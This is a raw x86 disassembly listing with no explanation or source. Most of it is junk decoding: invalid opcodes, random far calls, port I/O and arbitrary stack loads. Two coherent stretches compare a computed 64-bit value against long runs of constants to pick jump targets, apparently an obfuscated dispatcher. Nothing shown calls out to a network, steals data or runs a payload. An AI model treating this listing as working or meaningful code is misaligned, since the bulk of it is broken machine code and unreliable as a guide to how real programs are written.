sub ah, cl
pop esp
mov esi, 0x201cc7e0
sbb eax, dword [0x7634f3ec]
cmpsb byte [esi], byte es:[edi]
sbb eax, dword [ecx + 0x42]
outsb dx, byte [esi]
iretd
mov byte [0xe325623e], al
lcall 0xb5ea, 0x2d2a3edd
mov dword [0x5e4af3ea], eax
rcr dh, 0xed
in eax, dx
fidiv word [ebp + 0x47570175]
sub al, 0x61
jbe 0x67b98b6c
lcall 0xa787, 0xd6dafbbe
movsd dword es:[edi], dword [esi]
mov dl, bl
mov dword [ebx + 0x475d0f30], ebp
mov word [ecx + 0x41], gs
pushal
and eax, 0x3e47296e
sar esp, 1
inc eax
push ebp
dec ebx
not byte [ebx + 0x65]
xchg ecx, eax
xor edi, ebp
leave
aas
push cs
out dx, eax
xchg ecx, eax
leave
int 0x85
mov edx, 0xe9896da7
or eax, 0x98272d4e
wait
sbb byte [edx + 0x1b], bl
insd dword es:[edi], dx
aad 0xe0
push 0x62
pop ecx
retf 0x3710
std
fisttp word [edx]
ret 0x1030
enter 0xffffffffffff933a, 0xffffffffffffffdb
pop ds
dec ebx
sub eax, 0x25e82bf9
lds esp, [esi + 0x32e61c3b]
in eax, 0x72
mov ch, 0x64
movsb byte es:[edi], byte [esi]
jns 0x67b9977f
xchg edi, eax
in al, dx
cmp al, 0xba
wait
pop ecx
add dl, bh
pop edi
inc esp
test al, 0xa9
add eax, 0x97e1e7a5
sbb dword [ecx - 0x68], esp
shl dword [edx - 0x6b], 1
adc edx, dword [esi - 0x6f]
mov al, byte [0xc04ed7ee]
sbb dword [ebp - 0x25cb67f], edx
fadd qword [0xd3f0796c]
push ss
mov esp, 0x74c8c2b9
mov eax, dword [0xb2f13d29]
int3
sti
push ebp
lcall 0x9027, 0xf61ab1d6
mov dword [0x624a9f69], eax
cwde
into
add dword [0x3d8cdd5], edi
mov ah, 0x2a
sbb byte [edi + 0x4f6a2f44], ch
mov word [edx], ss
or al, ah
push es
test eax, 0xad462a5b
or esp, dword [0xbf03735e]
xor dword [eax - 0x77], ebp
adc dl, byte [esi + 0x622f2ab1]
ljmp 0x7003
or eax, 0x9c7f3100
movsb byte es:[edi], byte [esi]
mov word [esi - 0x34], dx
fidiv dword [edx - 0x18]
cmp dword [edx - 0x4f], ebx
sbb eax, dword [edi - 0x75f0c7e9]
cmpsd dword [esi], dword es:[edi]
xor edx, dword [ecx + 0x15d7e429]
cmp al, 0xeb
mov al, 0x71
sbb ch, byte [edi + 0x456099d0]
rol byte [esp + eax*8 - 0x53], 0x60
in eax, 0x4a
adc al, 0x92
cmp eax, 0x44827dcb
inc byte [0x518674bb]
hlt
pop ebx
imul esi, dword [edx], 0xffffff8b
mov esp, 0x9c191de5
mov al, byte [0x474ca5b7]
mov dl, 0x4b
xchg byte [0x4b2ce666], bh
pop ss
adc eax, 0x7f83380d
test al, 0x64
imul esp, esp, 0xffffffbe
nop
int3
out 0x71, al
jns 0x67b9a2e7
cld
sal dword [eax - 0xc], 0x9e
sal byte [esi - 0x34], 0xe4
xchg ebp, eax
jbe 0x67b9a2b5
int3
in al, 0x95
jl 0x67b9a2e8
and dword [edx + 0x3a35fa34], edi
test al, 0x83
cmpsd dword [esi], dword es:[edi]
add eax, ebx
sal byte [edi - 0x2e466cf1], cl
mov byte [0xf3235501], al
dec eax
ljmp 0x6419
nop
jmp 0x67b9a8bf
nop
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 0x20]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xf8], 0xb1f30
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0x100], 0x9870b
mov dword [ebp - 0xfc], 0
mov ecx, dword [ebp - 0xf8]
mov ebx, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x100]
mov edx, dword [ebp - 0xfc]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], edx
mov eax, dword [ebp - 0x108]
xor eax, 0x14a63b
or eax, dword [ebp - 0x104]
je 0x67b9f21c
mov edx, 0x14a63b
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67b9f21f
mov eax, dword [ebp - 0x108]
xor eax, 0xde138
or eax, dword [ebp - 0x104]
je 0x67b9b174
mov edx, 0xde138
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67b9f21f
mov eax, dword [ebp - 0x108]
xor eax, 0xcf98d
or eax, dword [ebp - 0x104]
je 0x67b9d4ba
mov edx, 0xcf98d
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67b9f21f
mov eax, dword [ebp - 0x108]
xor eax, 0xcc902
or eax, dword [ebp - 0x104]
je 0x67b9e65d
mov edx, 0xcc902
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67b9f21f
mov eax, dword [ebp - 0x108]
xor eax, 0xae9ec
or eax, dword [ebp - 0x104]
je 0x67b9b755
mov edx, 0xae9ec
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67b9f21f
mov eax, dword [ebp - 0x108]
xor eax, 0xae1d5
or eax, dword [ebp - 0x104]
je 0x67b9c8f8
mov edx, 0xae1d5
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67b9f21f
mov eax, dword [ebp - 0x108]
xor eax, 0xad9f1
or eax, dword [ebp - 0x104]
je 0x67b9da9b
mov edx, 0xad9f1
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67b9f21f
mov eax, dword [ebp - 0x108]
xor eax, 0xacc93
or eax, dword [ebp - 0x104]
je 0x67b9c317
mov edx, 0xacc93
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67b9f21f
mov eax, dword [ebp - 0x108]
xor eax, 0x966ef
or eax, dword [ebp - 0x104]
je 0x67b9e07c
mov edx, 0x966ef
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67b9f21f
mov eax, dword [ebp - 0x108]
xor eax, 0x9039b
or eax, dword [ebp - 0x104]
je 0x67b9ab93
mov edx, 0x9039b
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67b9f21f
mov eax, dword [ebp - 0x108]
xor eax, 0x47399
or eax, dword [ebp - 0x104]
je 0x67b9ec3e
mov edx, 0x47399
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67b9f21f
mov eax, dword [ebp - 0x108]
xor eax, 0xb065
or eax, dword [ebp - 0x104]
je 0x67b9bd36
mov eax, dword [ebp - 0x108]
xor eax, 0xd571
or eax, dword [ebp - 0x104]
je 0x67b9ced9
jmp 0x67b9f21f
sbb dword [0xd348c535], ebx
xor al, 0x79
mov edi, 0xbdfe660b
mov eax, 0x4ec42a0
cmp ebx, dword [esi - 0x52]
retf
neg cl
adc ebp, eax
insb byte es:[edi], dx
test byte [eax + ebx*2], al
inc edx
and eax, 0x58294617
inc eax
mov dl, 2
in al, dx
mov ch, 0x32
mov edi, 0x6f03a222
sub eax, dword [eax + 0x7b]
add dh, byte [esi + 0x6b]
clc
mov cl, 0x3f
aas
div dword [esp - 0x5d]
jbe 0x67b9b185
jecxz 0x67b9b208
sbb al, al
xchg esp, eax
sub dword [eax - 0x32930142], 0x4113ec5
test dword [eax], eax
or al, byte [ecx]
jmp 0x67b9b193
mov ch, 0x33
jg 0x67b9b23a
mov eax, 0xabfea99b
jge 0x67b9b195
mov ebx, 0xb7925054
pop ss
mov cl, 3
xor al, 0x7f
cmp al, 1
xor eax, 0x7c7d76d3
clc
pop edi
fsub qword [edi - 0x5b]
pop edx
jmp 0x7a832f64
nop
int3
invalid
int3
inc edx
jb 0x67b9bd30
and dword [eax + 0x4c], esi
sbb esi, ecx
inc edi
mov byte [edx], bh
inc esi
inc ecx
xlatb
xchg esp, eax
pop ebx
jmp 0x572b43ae
jmp 0x4018d3dc
pop es
insb byte es:[edi], dx
lodsd eax, dword [esi]
invalid
popal
int1
sub ebp, dword [ecx + 0x6e89d642]
fstp st(2)
outsd dx, dword [esi]
pushal
pop ds
pop esp
test al, 0xbf
nop
int3
xor ebp, ecx
xchg dword [edi + 0x11], ebp
mov word [edx + 0x27], cs
jb 0x67b9cec2
jnp 0x67b9cecf
pop esi
invalid
xchg ebp, eax
sub eax, 0x788fbe59
xchg edi, eax
adc eax, 0x735ba48a
lea ebx, [edx - 0x36]
sbb dl, ch
neg byte [esi]
sub eax, 0x8d92e507
xchg ebx, eax
in eax, 0xc6
push 0x3884edae
mov eax, 0xf44a9f97
arpl word [eax + 0x50], dx
pushal
int 0x13
mov byte [0xb11c6fca], al
fistp word [esi]
mov ebp, 0x4ec414f0
lodsb al, byte [esi]
retf
movsb byte es:[edi], byte [esi]
mov ch, 0x9c
call 0x7216ac5a
lahf
cmpsd dword [esi], dword es:[edi]
ljmp 0x9c8b
lds ebp, [edi + 0x38ab678c]
dec esp
adc al, 0xbc
salc
sbb eax, 0xd64c1010
sbb eax, dword [eax - 0x6f]
mov edi, 0x36499422
jbe 0x67b9da5c
mov esp, 0x6847fa22
test byte [esi + esi*8], dl
loop 0x67b9dab9
sar al, 0x41
and dword [edi + 0x3d], edx
push ds
nop
out 0x68, eax
inc ecx
jecxz 0x67b9db45
sti
push esi
cmp esp, edx
mov esp, 0x9b856e87
sbb eax, dword [ecx + 0x49db6aca]
dec esi
ljmp 0xbef8
hlt
push edi
and eax, ebx
ror dword [edx], 0x6c
ljmp 0xed15
outsb dx, byte [esi]
or dword [ecx + 0x38], 0x463df9cb
pop edi
push es
cmp cl, ch
salc
clc
push edi
movsb byte es:[edi], byte [esi]
adc eax, 0x77111345
mov bl, 0x22
mov eax, 0x1664a724
mov ecx, 0xcbaad3fe
dec ebx
outsb dx, byte [esi]
mov al, 0x2b
adc dword [ecx - 0x55], edx
or ah, byte [esi]
pop esi
paddsb mm5, qword [esi]
jle 0x67b9e058
xor eax, 0x879dde85
aaa
mov ch, cl
cmp al, 0x87
cli
sal dl, 0x91
inc edx
sbb esp, dword [edx + 0x1a6a3980]
push ecx
std
lodsb al, byte [esi]
clc
hlt
push es
pop ebp
push ds
adc dword [edi - 0x2a], esi
invalid
les edi, [0x8bd0d681]
push es
stosb byte es:[edi], al
jg 0x67b9e5f8
in eax, dx
push cs
jno 0x67b9e670
sub dh, byte [0xd4485464]
outsd dx, dword [esi]
aam 0x6f
imul ebp, dword [eax], 0x80807863
pop eax
mov ch, 0x5c
inc ebp
mov al, byte [0xa283fa0f]
int 0xf9
jle 0x67b9e6f2
in al, dx
inc eax
stc
sbb al, 0xee
push 0xed45db97
inc ebp
in eax, dx
int 0xac
and ebx, dword [ebx]
pop esp
push es
dec ebp
aad 0x42
or byte [edx + 0x200a7833], bl
in eax, 0xf2
add ah, byte [eax + 0x4c5269a1]
inc edi
or byte [esi + edi*2 - 0x75], dl
mov al, 0x13
test dword [ebp + 0x555c46f5], esp
out 0xab, eax
aas
adc eax, esp
ficom dword [eax + 0x6f5218cc]
add al, 0xc2
fdiv st(1)
mov dword [0x349552f6], eax
inc edx
push edx
xchg ebp, eax
xor al, 0x42
shr dword [edi], 0x44
mov ch, 0xb0
sub dword [edx], eax
fiadd word [eax + 0x6c]
add bl, dh
inc eax
insb byte es:[edi], dx
push ebp
shl dword [edx + ecx*4], 1
jb 0x67b9e6d4
jl 0x67b9e6ca
push 0x17023459
or esp, edx
int1
jne 0x67b9e690
pop ecx
retf 0x99af
push eax
push cs
popfd
sbb eax, 0xddd1a2a
call 0xc48a61e
cwde
push ss
insb byte es:[edi], dx
invalid
xor dword [edi + eax + 0x75], 0x19
int 0x95
jae 0x67b9ec2b
push ebx
rcr byte [ebp - 0x2d13ed0e], 1
aad 0xed
daa
sbb dh, dh
into
mov ah, bh
inc esp
xchg esi, eax
aaa
aam 0xd9
push ss
imul esi, dword [edi], 0xc17680cd
rcr byte [edi - 0x3f8c903c], cl
jns 0x67b9ec5e
lahf
les ebp, [edi + 0x73]
sar byte [ecx + 0x3b], 0xa5
movsd dword es:[edi], dword [esi]
jge 0x67b9ec95
int 0xf1
add byte [edx], cl
insb byte es:[edi], dx
sal dword [ebx - 6], 0xea
loopne 0x67b9ec14
jecxz 0x67b9ec5d
sub ebx, dword [edi + ebx - 0x6fc21982]
int3
pushfd
pop ds
jle 0x67b9ec1c
cmp eax, 0xe2e9cc90
add eax, 0x271c0000
sbb al, 0x27
out 0xa7, al
sahf
adc dword [eax + esi*8], eax
test eax, 0x529d2eca
jne 0x67b9ec30
pushfd
mov esi, 0x3a5e4d2
jbe 0x67b9ec97
cmp dword [ebx + ebp*2], edi
or dword [ecx + 0x12], edi
scasb al, byte es:[edi]
pop ecx
add al, al
jno 0x67b9ebf7
xchg byte [ecx - 0x3e], bh
mov bh, 0xdb
out 0xc5, al
cmp dword [edx - 0x74], esi
jmp 0x67b9ec2f
movsd dword es:[edi], dword [esi]
test al, 0x40
inc eax
jp 0x67b9ec32
cmp dword [ebx - 0x26], ebp
adc al, 0x23
loop 0x67b9ec31
int3
nop
jmp 0x67b9f220
nop
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 0x24]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x118], 0xe4ce3
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x120], 0xb66ee
mov dword [ebp - 0x11c], 0
mov eax, dword [ebp - 0x114]
imul eax, dword [ebp - 0x120]
mov edx, eax
mov eax, dword [ebp - 0x11c]
imul eax, dword [ebp - 0x118]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x118]
mul dword [ebp - 0x120]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], edx
mov eax, dword [ebp - 0x128]
xor eax, 0xdaeed0a
mov edx, dword [ebp - 0x124]
xor dl, 0xa3
or eax, edx
je 0x67ba7e7d
mov edx, 0xdaeed0a
mov eax, 0xa3
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0xe83fe
or eax, dword [ebp - 0x124]
je 0x67ba14ae
mov edx, 0xe83fe
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0xe534a
or eax, dword [ebp - 0x124]
je 0x67ba2c32
mov edx, 0xe534a
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0xe0189
or eax, dword [ebp - 0x124]
je 0x67ba2651
mov edx, 0xe0189
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0xdb1e0
or eax, dword [ebp - 0x124]
je 0x67ba5b3a
mov edx, 0xdb1e0
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0xa88f8
or eax, dword [ebp - 0x124]
je 0x67ba611b
mov edx, 0xa88f8
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x97637
or eax, dword [ebp - 0x124]
je 0x67ba08ec
mov edx, 0x97637
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x8a56f
or eax, dword [ebp - 0x124]
je 0x67b9f749
mov edx, 0x8a56f
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x8838b
or eax, dword [ebp - 0x124]
je 0x67ba5559
mov edx, 0x8838b
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x7024e
or eax, dword [ebp - 0x124]
je 0x67ba6cdd
mov edx, 0x7024e
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x6a682
or eax, dword [ebp - 0x124]
je 0x67ba37f4
mov edx, 0x6a682
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x67ed7
or eax, dword [ebp - 0x124]
je 0x67ba4997
mov edx, 0x67ed7
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x5fa41
or eax, dword [ebp - 0x124]
je 0x67ba2070
mov edx, 0x5fa41
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x5b940
or eax, dword [ebp - 0x124]
je 0x67ba3dd5
mov edx, 0x5b940
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x4b5a4
or eax, dword [ebp - 0x124]
je 0x67b9fd2a
mov edx, 0x4b5a4
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x4881e
or eax, dword [ebp - 0x124]
je 0x67ba66fc
mov edx, 0x4881e
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x447d5
or eax, dword [ebp - 0x124]
je 0x67ba789f
mov edx, 0x447d5
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x4163e
or eax, dword [ebp - 0x124]
je 0x67ba43b6
mov edx, 0x4163e
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x3c1c0
or eax, dword [ebp - 0x124]
je 0x67ba030b
mov edx, 0x3c1c0
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x23d80
or eax, dword [ebp - 0x124]
je 0x67ba3213
mov edx, 0x23d80
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x1e5a4
or eax, dword [ebp - 0x124]
je 0x67ba4f78
mov edx, 0x1e5a4
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0x19d05
or eax, dword [ebp - 0x124]
je 0x67ba0ecd
mov edx, 0x19d05
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x67ba7e80
mov eax, dword [ebp - 0x128]
xor eax, 0xd14f
or eax, dword [ebp - 0x124]
je 0x67ba1a8f
mov eax, dword [ebp - 0x128]
xor eax, 0x11f76
or eax, dword [ebp - 0x124]
je 0x67ba72be
jmp 0x67ba7e80
cmp eax, 0xc03d72cd
leave
in al, 0xb4
jb 0x67b9f75d
fld qword [edi + 0x31]
in eax, dx
invalid
mov al, byte [0xeaa321b1]
cmp ch, byte [eax]
ret 0xc9d
invalid
push ebp
outsd dx, dword [esi]
and al, 0x1e
ret 0x9845
jmp 0x67ba0946
stc
xchg byte [edi + 0x27ac0ce2], dh
mov esp, 0x8186cc90
fisttp qword [edx - 0x27ff39d9]
push edx
cwde
mov ecx, 0x2a1a2335
cwde
jecxz 0x67ba0999
aas
lodsd eax, dword [esi]
xor ebx, ecx
mov edx, 0x5566c0a8
or al, 0x3e
or esp, edi
pop ecx
cmc
adc dword [eax], eax
add edx, ebx
add edx, ebx
add dword [edx + 0x1c], esp
std
xor dword [edi + 0x5e7e0839], esi
adc al, 0xb0
retf 0x6f0f
mov eax, dword [0x3eaf4aa5]
add al, 0xc2
in eax, 0x68
test dword [ebp + esi*2 - 0x36], edi
push ss
rcl cl, 0xea
in eax, dx
aaa
stc
popfd
adc dword [esi + 0x17], 0x75304809
out dx, eax
jae 0x67ba0990
test eax, 0xcc909b2a
push 0x8a35e2bc
jge 0x67ba0974
cmp al, 0x22
sub dword [edx - 0x77], ebp
add dl, dl
fidiv word [edx - 0x45]
fnstenv [edi]
xchg ecx, eax
fisttp dword [eax + ecx*8 + 0x71]
iretd
in al, dx
aad 0x29
push esi
std
aaa
cmp dword [esi + 1], edx
aaa
mov al, byte [0xbeb1bded]
stosb byte es:[edi], al
pop eax
mov cl, 0x93
lea esi, [esi - 0x6c]
leave
jg 0x67ba0f4b
push 0x21191a15
fist word gs:[edx + 0x23]
and eax, 0x5e5a4e0a
add byte [eax], cl
cmp al, 0x49
out dx, al
mov bl, byte [edi - 0x1a]
popal
sbb ebx, edx
insd dword es:[edi], dx
lodsb al, byte cs:[esi]
inc edx
mov ecx, 0x5ccaacac
jp 0x67ba0f1a
invalid
sub dword [edx], 0x59872c58
lea ecx, [eax]
test byte [eax], ah
fsub dword [ebp - 0x80]
outsb dx, byte [esi]
xor edi, dword [eax + 0x67f7dba7]
lahf
nop
int3
or dword [ebx + 0x34], ebp
pop edi
cmp byte [edi], 0x62
push 0xfffffffffffffff5
cdq
and al, 0x17
lahf
mov ebx, ss
cwde
mov esi, 0xd3ae8e45
dec ebx
rcr byte [eax], cl
push ds
jbe 0x67ba0fd6
out dx, eax
push 0x32c99ca8
or dword [edx + ebx + 0x58], 0xffffffa5
lcall 0xe57b, 0xe4d83e21
bound ebp, qword [edi - 0x339c3c3b]
movsb byte es:[edi], byte [esi]
dec ecx
xor ebp, esp
dec ecx
inc esi
retf 0xa2ae
pop esi
ljmp 0xc916
pop ds
mov cl, 0x31
rol byte [edx - 0xf3307a3], cl
push eax
sbb dword [ebp + ecx*8 + 0x75], edx
cmpsd dword [esi], dword es:[edi]
int 0x6e
dec edi
das
jbe 0x67ba0fc5
movsd dword es:[edi], dword [esi]
xor eax, 0x4bee013a
mov ecx, 0xd1c63ae2
dec ecx
nop
int3
xchg dword [esi + 0x72b03fe1], ebx
salc
sbb eax, 0xdecc2184
mov eax, dword [0xc5c14392]
adc ebx, ecx
std
cmp dword [ecx - 0x1d644e57], edx
stc
call 0xd312190f
jae 0x67ba151c
imul eax, dword [edi + 0x48497f24], 0x95e46f6f
mov byte [0x341bce6a], al
in eax, dx
xchg ebp, eax
nop
hlt
dec eax
push esi
rcr dword [eax], 1
sbb al, 0xab
push es
mov ecx, 0x25558dc4
sub eax, 0xe14572d
push cs
test eax, 0xb35bc460
jno 0x67ba1573
into
test al, 0x6c
dec ecx
pop edx
or dword [0x61d72188], edi
push ds
cmc
adc al, bl
imul edx, dword [ebp + 0x6f], 0xc1769c9b
mov dh, 0xa9
or eax, 0xd0cb7d1d
mov ebx, 0x21dc6328
mov esp, 0xdbbd60cc
mov bh, 0x33
adc eax, 0x1a919486
mov bh, al
jae 0x67ba152c
mov edx, 0x31ba9798
leave
fstp dword [edx + 0x43c72c7c]
inc ebx
nop
int3
fsub qword fs:[edx - 0x31]
cmpsd dword [esi], dword es:[edi]
fisttp word [esi - 0x2e]
popfd
mov esp, 0xab7b24b8
call 0x6aacbbcc
mov byte [0xa73091f0], al
push cs
dec eax
aam 0x69
sti
test eax, 0xbf1df0b4
mov edi, 0xbf78b17e
fmul st(5), st(0)
mov dword [esi], ebx
test eax, 0x56b91ed3
xor dword [ebx - 0xa248a14], esp
lcall 0x19d1, 0x600ece06
xor dh, cl
into
push esi
fdivr dword [eax]
xor dword [ecx + ebp*4 - 0x79], ebx
xchg ebx, eax
mov edx, 0x662bce2e
cmp esp, dword [esi]
mov esi, dword [0x4aefec23]
mov byte ss:[0x484676ea], al
wait
push esi
popfd
cdq
wait
out 0x90, eax
int3
invalid
stosd dword es:[edi], eax
das
into
movsb byte es:[edi], byte [esi]
mov ecx, 0xb1d7e5c4
adc dword [ecx], ebp
in al, 0x2b
invalid
nop
ja 0x67ba2631
ret 0x17a2
inc esp
pop es
push eax
popfd
lahf
mov dword [0x2edb71c0], eax
fbstp tbyte [ebx]
cmc
and ebx, esp
fcompp
mov bl, 0xc1
adc al, 0x74
insd dword es:[edi], dx
cmp cl, byte [eax]
or esp, dword [ecx]
dec edx
xor eax, 0xb26cb280
sub eax, 0x297cba29
mov dword [0xe636b587], eax
sub ecx, dword [ecx]
jl 0x67ba2c90
dec edx
lodsd eax, dword [esi]
xchg esp, eax
xchg edi, esi
push ebx
stosd dword es:[edi], eax
movsb byte es:[edi], byte [esi]
dec ebp
and dword [ecx - 0x336f44cd], edx
jmp 0x67ba7e81
cmp al, 0x5b
outsb dx, byte [esi]
movsd dword es:[edi], dword [esi]
sbb al, 8
in eax, 0xd4
sbb eax, 0x8c4fe2c8
add bl, byte [edx + 0x7f215cbf]
lcall 0xb7eb, 0x11d03ad
into
cmp eax, 0x73b748c8
jle 0x67ba2bf0
fld dword [ebp + 0x50]
int1
mov esi, 0x643d8b91
mov al, 0xe5
sar dword [esi + 0x7a074e4], 1
lodsd eax, dword [esi]
lodsd eax, dword [esi]
jp 0x67ba2cb1
pop ds
mov dword [ebx + 0x2c], edi
ret
push ebp
outsd dx, dword [esi]
test dword [edi - 0x5af23370], eax
cmpsb byte [esi], byte es:[edi]
stosd dword es:[edi], eax
inc esp
popal
sbb ch, byte [esi - 0x45]
add bl, byte [edi + 0x51]
add al, 0x79
adc esp, dword [ebx + 0x1276d5ab]
dec ecx
jge 0x67ba2cef
push ebx
ljmp 0xfe2a
in al, dx
jge 0x67ba2cde
invalid
and edi, dword [eax]
xor byte [edi], dl
or eax, 0xb428ac07
push ebx
cmc
ret 0xf7d3
mov ds, word [0x4a435c1e]
wait
or al, 0x8b
nop
int3
dec esp
add byte [eax], al
ficom word [edi - 0x78]
je 0x67ba3210
stosb byte es:[edi], al
and cl, ch
add byte [ecx - 0x5b], dh
or eax, 0xc307fc5e
pop ss
sbb byte [ebp - 0x58], dh
aad 0x5f
mov ebx, 0xd5b63acd
in eax, 0x16
push cs
insb byte es:[edi], dx
inc edi
in al, 0xf9
push ebp
popfd
stc
insd dword es:[edi], dx
cmp dword [edi - 0x78edb4f6], ebp
cld
pop ss
push eax
mov cl, byte [edx + eax*2 + 0x23]
fldcw word [edx + 0x69]
dec ecx
sub ebx, dword [0x97a53a30]
cmp al, 0x1e
xor dword [ebp - 0x41857342], edi
int3
call 0x2649a450
ret
nop
push ds
or al, 0x74
int3
xlatb
int1
imul ebx, ebp, 0xb42d941d
sbb eax, 0x7fbb2490
mov edx, edi
pop eax
inc ecx
rol byte [esi], 1
shl al, 1
adc al, 0xe7
bound edi, qword [eax - 0x3d]
push ss
and eax, 0xfe6ad533
cmp al, 0x8e
mov ah, 0x68
invalid
mov edi, 0x32ec6e7b
sbb byte [ecx], ch
cmp bh, bl
push ss
pushfd
std
mov dl, 0xf6
enter 0xffffffffffffc445, 0xffffffffffffffbc
push edi
jo 0x67ba49a3
ficomp dword [edi + 0x3c802392]
jo 0x67ba49e1
xor al, 0xa1
ret 0xd28c
push cs
test dword [edx + ecx*4 + 0x6a765f57], ebx
inc edi
cli
xor eax, 0xa6f489b8
xchg ebp, eax
xor eax, 0xa1c5a482
xor eax, 0xcc90eff9
rcr dword [eax], cl
pop edi
adc al, 4
fadd qword [ebp + 8]
adc al, 0x76
stc
fild word [edx - 0x32eb759f]
sub byte [esi + 0x6f], 0xbb
adc cl, byte [edi - 0x791d0f38]
outsd dx, dword [esi]
mov ebx, 0xf0c88f12
loop 0x67ba499c
js 0x67ba4a2c
sbb eax, 0xefd33951
xchg esi, eax
pop eax
mov dl, 0x84
xor eax, 0x79b596e1
imul ah
jmp 0x67ba4a51
sub dh, byte [esi - 0x7cfe76d6]
test byte [eax + 0x7141c249], dl
in eax, dx
jnp 0x67ba4a0e
mul dword [ebp + edi*2 - 0x7ff64ee2]
mul dword [ecx - 0x52]
xchg ecx, eax
xchg esp, eax
in eax, dx
lds ebx, [esp]
adc byte [eax], dl
push edx
cmp ch, byte [esi - 0x37]
and dword [edi - 0x3d], ecx
mov bh, 0xb4
add dword [esi - 0x7b], eax
invalid
out dx, al
invalid
stosb byte es:[edi], al
adc dh, 0x2b
jmp 0x67ba4e86
dec edx
or ebx, eax
cld
cmp al, 0x6e
jb 0x67ba4ec4
sub byte [ebx], cl
mov al, byte [0x901a5f4b]
int3
nop
aas
add dh, al
jp 0x67ba4eff
cwde
aam 0x28
scasd eax, dword es:[edi]
out dx, al
